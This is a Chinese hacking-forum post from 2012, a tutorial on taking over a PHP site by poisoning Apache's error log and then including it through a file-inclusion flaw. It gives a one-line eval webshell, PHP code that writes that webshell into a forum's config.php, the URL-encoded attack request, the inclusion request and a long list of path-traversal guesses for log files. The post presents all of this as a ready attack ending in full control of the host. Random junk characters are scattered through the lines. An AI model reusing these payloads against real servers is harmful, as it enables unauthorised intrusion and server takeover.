找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2208|回复: 0
打印 上一主题 下一主题

php包含apache日志写马

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:27:40 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。 ! H. @4 h: B9 R! D2 q6 ]2 E# N+ ^

' L4 m* Z* X' [1 O- C8 K0 U比如还是这句一句话木马
2 s& P3 D+ V7 S" Y; ?3 f, i9 Q<?eval($_POST[cmd]);?>   ' E& c; F- v* ]  t" [
  M5 }$ [% X( w) u+ i) B
到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句,
! n5 `6 q% U2 R$ ^2 Gfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 ( K; u) |; A2 F6 E

9 x( {6 O4 t, J& o  b. w0 M<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>"); - t& O: J; a3 F0 }2 B
fclose($fp);?>   //在config.php里写入一句木马语句 $ C! z5 d( U9 f: w# d! E

* z% Z5 J; A# w我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。
' k- }" M  |% D转换为
& X5 ~/ ^4 X  r) \( @% q%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
2 R/ y) ?/ m, C- e- A2 ]config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp ) h6 S  x- x6 W: y
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
7 H) a% b5 b; x6 ^8 Ifclose%28%24fp%29%3B%3F%3E 3 X9 ?% y0 \- t4 e; q9 y
我们提交 * h, X; C' A* R) P1 z' z
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
& ^5 ]: Z9 _1 b, ~6 }+ w%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
  j4 K7 ]& P9 {- \% c%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
6 B- M$ L6 t0 f! m5 scmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E $ }5 I: V9 c6 A% J0 Z
8 D4 a! M5 H$ T7 l7 d5 g
这样就错误日志里就记录下了这行写入webshell的代码。 3 R' F. t; l5 O, D3 U, W
我们再来包含日志,提交 & G) D3 ~" c& W
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log 3 M1 t' m2 w( S# J3 F2 t
! @6 H; v, d/ g- C3 j
这样webshell就写入成功了,config.php里就写入一句木马语句 , F- T, v1 H& Y: ^* _
OK.   W, G5 W& T% M& C9 R
http://www.xxx.com/forum/config.php这个就成了我们的webshell
/ e2 q4 \8 u/ C! w2 |直接用lanker的客户端一连,主机就是你的了。
- ]% T# ^; x, B6 T/ P" p4 b5 K' O* X  ^' i% U7 ^
PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用 # ]9 ?" @' g! L1 t5 ^' \

) ~- |; b  B% V+ v, @0 P其他的日志路径,你可以去猜,也可以参照这里。 ' n6 Z$ d4 T* b7 I$ r8 b& v4 t- x
../../../../../../../../../../var/log/httpd/access_log
  k. ]+ M; I2 B( W../../../../../../../../../../var/log/httpd/error_log
! Z+ z  ~7 ~& h0 Y4 H) h../apache/logs/error.log 8 y4 B2 Q  |  W  H5 I' G  I9 r% G
../apache/logs/access.log 3 P- m  v+ Z$ F- p' G. n7 s
../../apache/logs/error.log , P+ O8 S; A  p3 q
../../apache/logs/access.log
7 _( ?- e" @4 S! K8 `, O../../../apache/logs/error.log 6 e3 D/ A& z0 T$ ]* w: A
../../../apache/logs/access.log
% \/ p, u/ m6 R! O../../../../../../../../../../etc/httpd/logs/acces_log 3 a  s5 R* o1 l, x
../../../../../../../../../../etc/httpd/logs/acces.log ) k8 }' j2 F  a
../../../../../../../../../../etc/httpd/logs/error_log
" P, p6 Z, O  ?* I7 H# i1 r  l../../../../../../../../../../etc/httpd/logs/error.log / t1 d8 u8 `. H. |7 B! e# y
../../../../../../../../../../var/www/logs/access_log
/ t& t7 Q# @. n# l7 X7 s  s../../../../../../../../../../var/www/logs/access.log
$ n( T/ Z* S" m7 I../../../../../../../../../../usr/local/apache/logs/access_log
$ E/ T5 m# |9 m! Y8 R../../../../../../../../../../usr/local/apache/logs/access.log
9 M# b6 k2 f/ Q& v; s8 Z3 \../../../../../../../../../../var/log/apache/access_log
! n) Z4 p4 }! f; t1 j2 x2 D../../../../../../../../../../var/log/apache/access.log & C& p  X2 ~5 C+ z
../../../../../../../../../../var/log/access_log
1 \3 t2 d. Z6 R../../../../../../../../../../var/www/logs/error_log $ c0 G. A, M9 z5 Y5 Q2 b9 P" ]
../../../../../../../../../../var/www/logs/error.log
( G5 E& T, ]" Q! \../../../../../../../../../../usr/local/apache/logs/error_log 1 I! u7 f& V% h- y1 W" E% V
../../../../../../../../../../usr/local/apache/logs/error.log   i9 @7 c: U' ~% }" s
../../../../../../../../../../var/log/apache/error_log
  S, P6 \3 I7 e- \; `7 m../../../../../../../../../../var/log/apache/error.log
# I+ t6 d$ G5 P$ k" Z6 x- q; r: o../../../../../../../../../../var/log/access_log & I% c3 F8 z: ~' D4 G
../../../../../../../../../../var/log/error_log
: ]' T0 P, I2 v" c/ g! M/var/log/httpd/access_log      
4 F$ t3 G6 `' ]) L/var/log/httpd/error_log     
+ x0 I8 b7 ]* Y8 J../apache/logs/error.log     
5 b* f4 B" B+ [) s. ~../apache/logs/access.log
# B; ], Y: u1 `! H, n! f8 Y4 l../../apache/logs/error.log
2 ~! D+ ^$ m9 l* W# O../../apache/logs/access.log 8 y# j; ?/ Y8 c- l& b0 g
../../../apache/logs/error.log . O+ @& e$ W* u
../../../apache/logs/access.log & `* k( H) y2 ^+ t
/etc/httpd/logs/acces_log 3 D& Y( I. O% u; h8 v& M; _' a
/etc/httpd/logs/acces.log
: L' J( B+ x$ p/etc/httpd/logs/error_log 6 Y8 j" x( l2 \! [8 Q
/etc/httpd/logs/error.log
4 J; ]* s& g: S' H! X+ n/var/www/logs/access_log 2 A4 a, p) L2 b7 H. H
/var/www/logs/access.log . w5 b$ f4 F9 v, v/ N7 Q
/usr/local/apache/logs/access_log
! G. }2 b: g* \. z1 b8 R- J+ u5 R/usr/local/apache/logs/access.log
  g# c# r) w' D4 B: k3 s( N/var/log/apache/access_log 0 J# e. x$ _1 r9 i
/var/log/apache/access.log 3 S$ t* G  c- f' {
/var/log/access_log
8 _2 Y. A8 e# F/var/www/logs/error_log
2 `6 t& k& H% g! j  W/var/www/logs/error.log
1 [- D5 s% D- E! A$ d2 B/usr/local/apache/logs/error_log
; w( W9 Q4 r9 @0 u9 A. ^/usr/local/apache/logs/error.log
7 K. W5 f, H$ ?9 [. D( Y2 `* r/var/log/apache/error_log - G8 z" u2 p  r; f* d6 g1 m
/var/log/apache/error.log
, ~$ o% c; b$ d- e& \+ d8 i/var/log/access_log
2 {  E/ _7 n% Q' [! `& |  B- V' ]/var/log/error_log
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表